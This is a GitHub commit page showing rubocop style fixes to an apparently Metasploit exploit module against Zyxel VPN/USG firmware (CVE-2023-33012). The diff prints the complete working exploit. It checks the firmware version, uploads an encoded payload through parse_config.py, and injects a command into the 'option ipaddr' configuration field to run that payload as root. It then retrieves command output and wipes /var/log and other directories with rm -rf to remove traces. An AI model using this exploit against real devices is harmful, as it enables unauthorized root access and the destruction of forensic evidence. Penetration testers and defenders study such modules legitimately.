Skip to content

Commit

Permalink
rubocop fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed May 27, 2024
1 parent 92b2599 commit d13ce0b
Showing 1 changed file with 51 additions and 55 deletions.
106 changes: 51 additions & 55 deletions modules/exploits/linux/http/zyxel_parse_config_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,60 +13,56 @@ def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zyxel parse_config.py Command Injection',
'Description' => %q(
'Name' => 'Zyxel parse_config.py Command Injection',
'Description' => %q{
This module exploits vulnerabilities in multiple Zyxel Products including VPN and USG devices (hopefully,
this is still in draft at the time of writing). The affected firmware version is 5.21 thru to 5.36.
),
'Author' =>
[
'SSD Secure Disclosure technical team', # discovery
'jheysel-r7' # module
],
'References' =>
[
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/'],
[ 'CVE', '2023-33012']
],
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Privileged' => true,
'Arch' => [ ARCH_CMD ],
'Targets' =>
[
[ 'Automatic Target', {}]
],
},
'Author' => [
'SSD Secure Disclosure technical team', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/'],
[ 'CVE', '2023-33012']
],
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Privileged' => true,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-01-24',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION, ],
},
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options(
[
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
],
]
)
end


def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js'),
})
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js')
})
return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?

if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/
return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36')

return CheckCode::Safe
end
CheckCode::Unknown("Version info was not found.")
CheckCode::Unknown('Version info was not found.')
end

def exploit
Expand All @@ -76,9 +72,9 @@ def exploit
payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"

command = payload.encoded
command += <<-CMD
2>/var/log/ztplog 1>/var/log/ztplog
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
command += <<~CMD
2>/var/log/ztplog 1>/var/log/ztplog
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
CMD
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"

Expand All @@ -87,46 +83,46 @@ def exploit
file_write_pload += "option name 1\n"

config = Base64.strict_encode64(file_write_pload)
data = { "config" => config, "fqdn" => "\x00" }
data = { 'config' => config, 'fqdn' => "\x00" }
print_status('Attempting to upload the payload via QSR file write...')

file_write_res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
'data' => data.to_s,
})
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
'data' => data.to_s
})
fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
register_files_for_cleanup(payload_filepath)
print_good('File write was successful.')

cmd_injection_pload = "option proto gre\n"
cmd_injection_pload = "option proto gre\n"
cmd_injection_pload += "option name 0\n"
cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"
cmd_injection_pload += "option netmask 24\n"
cmd_injection_pload += "option gateway 0\n"
cmd_injection_pload += "option localip #{Faker::Internet.private_ip_v4_address}\n"
cmd_injection_pload += "option remoteip #{Faker::Internet.private_ip_v4_address}\n"
config = Rex::Text.encode_base64(cmd_injection_pload)
data = { "config" => config, "fqdn" => "\x00" }
data = { 'config' => config, 'fqdn' => "\x00" }

cmd_injection_res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
'data' => data.to_s,
})
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
'data' => data.to_s
})

fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if cmd_injection_res && cmd_injection_res.body.include?('ParseError: 0xC0DE0005')

#Unecessary if running a fetch payload though adding for testing
# Unecessary if running a fetch payload though adding for testing
cmd_ouput_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py'),
})
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py')
})

output = cmd_ouput_res.body.split("</head>\n<body>")[1]
output = output.split("</body>\n</html>")[0]
output = output.gsub("\n\n<br>", "")
output = output.gsub("[IPC]IPC result: 1\n", "")
print_good("Command output: #{output}" )
output = output.gsub("\n\n<br>", '')
output = output.gsub("[IPC]IPC result: 1\n", '')
print_good("Command output: #{output}")
end
end
end

0 comments on commit d13ce0b

Please sign in to comment.